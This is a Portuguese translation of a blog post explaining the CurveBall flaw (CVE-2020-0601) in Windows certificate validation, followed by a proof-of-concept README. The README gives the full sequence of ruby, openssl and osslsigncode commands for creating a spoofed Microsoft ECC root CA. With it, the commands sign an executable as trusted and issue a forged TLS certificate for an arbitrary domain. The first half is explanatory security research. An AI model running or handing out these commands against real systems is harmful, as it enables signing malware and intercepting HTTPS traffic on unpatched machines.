Na terça-feira, a NSA anunciou que havia encontrado uma vulnerabilidade crítica na funcionalidade de validação de certificado no Windows 10 e Windows Server 2016/2019. Esse bug permite que os invasores violem a validação da confiança em uma ampla variedade de contextos, como HTTPS e assinatura de código. Se você deseja parar de ler aqui, obtenha os detalhes importantes e veja se você está vulnerável, consulte  https://whosecurve.com/. Depois de fazer isso, volte para esta guia e continue lendo para obter um explicativo sobre exatamente o que é esse bug e como ele funciona.

imagem (7)

Por que até corrigir se não tem um logotipo? https://whosecurve.com

Em um nível alto, essa vulnerabilidade tira proveito do fato de que o Crypt32.dll falha ao verificar corretamente se os parâmetros da curva elíptica especificados em um certificado raiz fornecido correspondem aos conhecidos pela Microsoft. Curiosamente, a vulnerabilidade não explora propriedades matemáticas exclusivas das curvas elípticas – o mesmo bug exato poderia ter se manifestado em uma biblioteca de verificação de assinatura DSA normal. Portanto, para evitar entrar no mato da criptografia de curva elíptica, primeiro vamos examinar como esse bug teria funcionado se o Crypto32.dll usasse o DSA normal.

Uma versão de brinquedo do ataque

Lembre-se de que a segurança do DSA se baseia no fato de que o problema do log discreto é difícil ao lidar com o grupo de números inteiros com um prime. Em outras palavras, se tivermos a seguinte equação:

b = g x mod p

É difícil encontrar x se tudo o que você sabe é p , g e b . Para configurar o DSA, os usuários precisam especificar um prime p e um gerador g . Usando esses dois parâmetros, eles podem criar uma chave privada x e uma chave pública pk = x mod p . Essas chaves permitem assinaturas que podem ser criadas apenas pela chave privada, mas que podem ser verificadas com a chave pública. A falsificação de assinatura é tão difícil quanto o problema de log discreto (muito difícil).

Entretanto, algoritmos de assinaturas digitais, como o DSA, não são muito úteis por si só, uma vez que não fornecem um mecanismo pelo qual os usuários possam confiar que uma determinada chave pública está associada a uma entidade específica. É aqui que os certificados X.509 entram em jogo. Um certificado X.509 é basicamente um arquivo que diz explicitamente “essa chave pública pertence a essa pessoa”, assinada por outra pessoa (possivelmente o proprietário da chave pública em questão). Esses certificados podem ser encadeados, começando em um certificado “raiz”, atestando a identidade de uma autoridade de certificação raiz (CA). A CA raiz assina certificados intermediários que atestam a identidade de CAs intermediárias, as CAs intermediárias assinam outros certificados intermediários e assim por diante até o certificado “folha” no final.

Cada certificado contém informações sobre o algoritmo de assinatura e os parâmetros usados. Um exemplo de certificado da Microsoft pode se parecer com o seguinte (NB: isso é bastante simplificado):

  • Autoridade de certificação: Microsoft
  • Nome: Trilha dos Bits
  • Informações da chave pública
    • Algoritmo: DSA
    • Gerador:  g
    • Prime:  p
    • Chave pública:  pk

Quando os usuários do Windows recebem uma cadeia de certificados X.509, eles verificam se a autoridade de certificação na raiz é aquela em que a Microsoft confia. Mas o que acontece se o Windows verificar apenas se a chave pública do certificado em questão corresponde a uma entidade confiável, não aos parâmetros do sistema associados? Em outras palavras, o que acontece quando um invasor pode alterar o valor de p ou g associado a uma determinada chave pública pk sem o Windows perceber? Acontece que a omissão dessa verificação quebra completamente a segurança do DSA.

Uma maneira potencial de explorar essa vulnerabilidade é simplesmente definir g = p e fazer com que a chave privada seja x = 1 . Isso permite que o invasor assine qualquer mensagem como se fosse o proprietário legítimo do  pk , pois agora eles conhecem a chave privada (é 1). As coisas podem ficar ainda mais interessantes, no entanto. Em vez de simplesmente configurar o novo gerador para a chave pública do destino, escolhemos uma nova chave privada  y e configuramos o gerador malicioso como g ‘ = y – 1 * pk . Isso significa que o certificado ainda possui o que é efetivamente uma chave secreta, mas é conhecido apenas pelo invasor, não pelo emissor original.

É importante ressaltar que esse ataque funciona sem que ninguém consiga resolver o problema de log discreto; na verdade, tudo se resume ao fato de não estabelecer a autenticidade dos parâmetros associados a uma determinada chave pública, permitindo que o invasor escolha qualquer chave privada que desejar. Esse cenário de exploração foi originalmente delineado em 2004 por Vaudenay , conhecido como ataque de mudança de parâmetro de domínio, mas não foi visto na natureza até agora.

A vulnerabilidade real

A exploração da vulnerabilidade no Crypt32.dll envolve a adaptação do ataque anterior ao caso em que, em vez do DSA, o assinante está usando a variante de curva elíptica ECDSA. Na verdade, você realmente não precisa saber muito sobre curvas elípticas para entender como isso funciona – os únicos detalhes relevantes são que as curvas elípticas são mais ou menos matematicamente equivalentes ao número inteiro mod p, exceto em vez de multiplicar números, você manipular geometricamente os pontos sobre uma curva. Neste post, pontos de curva são exibidas em negrito letras maiúsculas e adicionando um ponto P a si mesma n vezes é escrito n * P

ecc

Fig 1. O diagrama que você viu um milhão de vezes mostrando a adição de curva elíptica

As curvas elípticas, juntamente com a adição de pontos, criam outra estrutura em que o problema de log discreto é difícil. Também semelhante ao caso normal do DSA, o ECDSA exige a escolha de um conjunto de parâmetros públicos antes de gerar um par de chaves público / privado, incluindo um gerador. Geralmente, esses parâmetros são especificados nomeando uma curva, como a curva elíptica secp256r1 (1.2.840.10045.3.1.7), mas os usuários podem alternativamente especificá-los manualmente. Nesse caso, os usuários devem fornecer constantes que definam a curva elíptica (A, B) , o primo sobre o qual a aritmética é realizada p , o gerador do grupo  G e informações sobre o tamanho desse grupo (ordem, cofator). Para efeitos deste ataque nós só realmente se preocupam com  G .

Agora que temos algumas informações sobre curvas elípticas, não é difícil ver que o ataque funciona basicamente da mesma forma que no DSA – altere os parâmetros que especificam o ECDSA para que um gerador corresponda a uma chave privada que você conhece, mas com a mesma chave pública que a DSA. autoridade de certificação que você está tentando falsificar. Editando os parâmetros, podemos controlar a chave secreta efetiva do certificado e usá-la para atestar as identidades que desejamos.

Na vida real, o desvio de validação de parâmetro também é um pouco mais envolvido. A Microsoft verifica se os parâmetros usados ​​na maioria dos certificados são válidos, mas quando é apresentado um certificado raiz em cache, ignorará a validação de parâmetro se o certificado usar criptografia de curva elíptica e se a chave pública corresponder ao que está em cache. Isso significa que, para as CAs raiz comuns, que a maioria dos usuários já viu em algum momento antes, nosso ataque é viável. Na prática, isso significa que podemos gerar certificados TLS válidos para praticamente qualquer site, ignorar restrições de assinatura de código ou falsificar assinaturas de arquivos e e-mails. Para fins explicativos, vejamos como podemos manipular o tráfego https intermediário para algum site.

Construindo um certificado falso

Primeiro, precisamos escolher um certificado raiz confiável. A Microsoft mantém uma lista aqui . Para nossos propósitos, vamos escolher a Autoridade de Certificação Raiz ECC Microsoft EV 2017. Este é um certificado secp384r1, portanto, a chave pública é um ponto na curva definido pelos parâmetros fornecidos pela curva secp384r1.

carbono (12)

Fig 2. Um certificado confiável com chave pública

Em seguida, precisamos gerar uma nova chave privada para nosso certificado malicioso, definida por uma curva diferente, usando parâmetros explícitos. Este objeto possui uma codificação de chave ASN.1 específica, que geramos com o OpenSSL. Lembre-se da seção anterior, queremos manter a chave pública da mesma forma para ignorar a validação. Depois de termos as chaves pública e privada do nosso novo certificado, podemos usá-las para calcular um gerador de forma que correspondam. Mais precisamente, precisamos calcular G ‘= x -1 * P onde x é nosso escalar privado e P é o ponto da chave pública do certificado MS (isso corresponde ao segundo cenário de ataque na seção anterior).

Agora que temos uma nova chave modificada, podemos usar isso para gerar um certificado de CA:

carbono (11)

Fig 3: Uma visão analisada da nossa raiz ruim

Depois de gerar esse certificado, podemos usá-lo para assinar um certificado em folha para o que quisermos. Essa chave / cert é assinada apenas pela raiz “ruim” – não precisa de parâmetros personalizados ou mágica.

cert

Fig 4: Um certificado para whosecurve.com

Agora, a etapa final é garantir o envio da “cadeia completa” como parte de uma conexão TLS. No TLS normal, você envia o certificado em folha juntamente com quaisquer intermediários, mas não envia a própria raiz. Nesse caso, precisamos enviar essa raiz para acionar o bug do cache. Voila!

imagem (6)

Fig 5. Não é um certificado TLS real

Corrigindo a vulnerabilidade e as lições aprendidas

Felizmente para a Microsoft, a correção desse bug simplesmente exigia a adição de algumas verificações durante a verificação da assinatura para garantir a autenticidade dos parâmetros do ECDSA. Infelizmente para todos os outros, esta vulnerabilidade é absolutamente devastadora e requer que todos os sistemas que executam o Windows 10 sejam corrigidos imediatamente. Enquanto isso, os invasores podem forjar assinaturas para TLS, código, arquivos ou email.

Criptograficamente, esse bug é um ótimo exemplo de como aumentar o número de opções de parâmetros aumenta a fragilidade do sistema. Sabemos há anos que curvas explicitamente especificadas (ao contrário de curvas nomeadas) eram uma má idéia, e essa é mais uma evidência a esse ponto. Também é um ótimo lembrete de que todas as informações criptográficas precisam ser verificadas ao manipular assinaturas digitais.

Embora não tenhamos fornecido um PoC para isso, incentivamos fortemente as pessoas a corrigir quando o código de exploração pública está disponível hoje! No entanto, criamos um site que demonstra a falha de qualquer pessoa interessada em verificar se possui um sistema sem patch: vá descobrir De quem é a curva de qualquer maneira?

CurveBall (CVE-2020-0601) – PoC

CVE-2020-0601, ou comumente referido como CurveBall, é uma vulnerabilidade na qual a assinatura de certificados usando a criptografia de curva elíptica (ECC) não é verificada corretamente.

O ECC depende de diferentes parâmetros. Esses parâmetros são padronizados para muitas curvas. No entanto, a Microsoft não verificou todos esses parâmetros. O parâmetro G(o gerador) não foi verificado e, portanto, o invasor pode fornecer seu próprio gerador, de modo que quando a Microsoft tentar validar o certificado contra uma CA confiável, ele procurará apenas chaves públicas correspondentes e, em seguida, usará o gerador de o certificado. A NSA explica o impacto dessa vulnerabilidade e muito mais aqui .

MicrosoftECCProductRootCertificateAuthority.cer é por padrão uma CA (autoridade de certificação raiz) confiável usando o ECC no Windows 10. Portanto, qualquer coisa assinada com este certificado será automaticamente confiável.

Detalhes matemáticos

Se você estiver interessado nos detalhes matemáticos da vulnerabilidade, leia mais aqui .

Para falsificar o certificado, definimos os seguintes parâmetros:

d’ = 1

G’ = Q

Tal que Q = Q’ = d’G’.

Uso

Crie um certificado com a mesma chave pública e parâmetros de uma CA confiável. Isso será usado como nossa CA falsificada. Defina o gerador como um valor, onde você conhece a chave privada. Você pode definir facilmente o gerador como chave pública e definir uma chave privada como 1, desde Q = dG.

Em seguida, você cria uma solicitação de assinatura de certificado com as extensões que deseja usar, por exemplo, assinatura de código ou autenticação de servidor.

Assine esta solicitação de certificado com sua CA e chave CA falsificadas e adicione as extensões de uso.

Agrupe a solicitação de certificado assinado (agora um certificado regular) com a CA falsificada e você terá um certificado assinado e confiável.

Quando o Windows verificar se o certificado é confiável, ele verá que foi assinado pela nossa CA falsificada. Em seguida, ele analisa a chave pública da CA falsificada para comparar com as CA confiáveis. Em seguida, simplesmente verifica a assinatura de nossa CA falsificada com o gerador da CA falsificada – esse é o problema.

Se você optar por abrir seu certificado confiável recém-assinado e assinado no Windows, ele não será reconhecido como confiável, pois não foi vinculado a nada e, portanto, não usará a CA falsificada. O certificado deve sempre se apresentar com a CA falsificada.

Assinatura de código

Por favor, use isso apenas para fins educacionais e de pesquisa.

Extraia a chave pública da CA e modifique-a de acordo com a vulnerabilidade:

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 com base nessa chave. Essa será nossa própria CA falsificada.

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Essa chave é do tipo que você deseja. Ele será usado para criar um certificado de assinatura de código, que assinaremos com nossa própria CA.

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Essa solicitação geralmente é enviada para autoridades de certificação confiáveis, mas, como temos uma falsificação, podemos assiná-la.

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Assine seu novo CSR com nossa chave CA e CA falsificada. Este certificado expirará em 2047, enquanto o Microsoft CA real confiável expirará em 2043.

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

A única coisa que resta é empacotar o certificado, sua chave e a CA falsificada em um arquivo PKCS12 para assinar executáveis.

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name “Code Signing” -out cert.p12

Assine seu executável com o arquivo PKCS12.

osslsigncode sign -pkcs12 cert.p12 -n “Signed by ollypwn” -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL / TLS

Por favor, use isso apenas para fins educacionais e de pesquisa. Extraia a chave pública da CA e modifique-a de acordo com a vulnerabilidade:

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Gere um novo certificado x509 com base nessa chave. Essa será nossa própria CA falsificada.

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Gere uma nova chave. Essa chave é do tipo que você deseja. Ele será usado para criar um certificado de assinatura de código, que assinaremos com nossa própria CA.

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Essa solicitação geralmente é enviada para autoridades de certificação confiáveis, mas, como temos uma falsificação, podemos assiná-la.

Se você deseja alterar o nome do domínio, edite CN = www.google.compara CN = www.example.comdentro de openssl_tls.conf.

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Assine seu novo CSR com nossa chave CA e CA falsificada. Este certificado expirará em 2047, enquanto o Microsoft CA real confiável expirará em 2043.

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Agora você pode usar cert.crt, cert.keye spoofed_ca.crtpara servir o seu conteúdo. Novamente, lembre-se de adicionar spoofed_ca.crt como uma cadeia de certificados na configuração HTTPS do seu servidor.

Veja o exemplo de uso em tls / index.js .

Referências e traduções

https://blog.trailofbits.com/2020/01/16/exploiting-the-windows-cryptoapi-vulnerability/

https://github.com/ollypwn/cve-2020-0601/blob/master/README.md